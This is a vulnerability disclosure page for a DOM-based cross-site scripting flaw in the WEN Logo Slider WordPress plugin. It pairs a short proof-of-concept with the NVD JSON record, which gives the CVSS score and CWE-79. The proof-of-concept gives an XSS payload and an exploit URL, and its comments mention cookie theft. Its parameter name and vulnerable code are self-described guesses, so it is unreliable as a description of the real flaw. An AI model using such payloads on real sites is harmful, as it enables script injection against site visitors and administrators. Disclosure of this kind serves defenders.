CVE-2025-62127

// Proof of Concept for CVE-2025-62127 // This demonstrates a DOM-Based XSS in WEN Logo Slider. // An attacker crafts a malicious URL containing a script payload. // 1. Malicious Payload (e.g., stealing cookies or alert) var payload = '<img src=x onerror=alert(1)>'; // 2. The vulnerable plugin likely reads a parameter from the URL (e.g., via location.search) // and injects it directly into the DOM using innerHTML or similar methods. // Example Vulnerable Code Pattern (Hypothetical): // var userInput = getQueryParam('slider_config'); // document.getElementById('output').innerHTML = userInput; // 3. Exploit URL construction: // http://victim-site/?slider_config=<img src=x onerror=alert(1)> console.log('If an admin visits the crafted URL, the XSS triggers.');

{"cve": {"id": "CVE-2025-62127", "sourceIdentifier": "[email protected]", "published": "2026-05-07T09:16:26.347", "lastModified": "2026-05-07T14:00:48.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WEN Themes WEN Logo Slider allows DOM-Based XSS.\n\nThis issue affects WEN Logo Slider: from n/a through 3.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wen-logo-slider/vulnerability/wordpress-wen-logo-slider-plugin-3-4-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}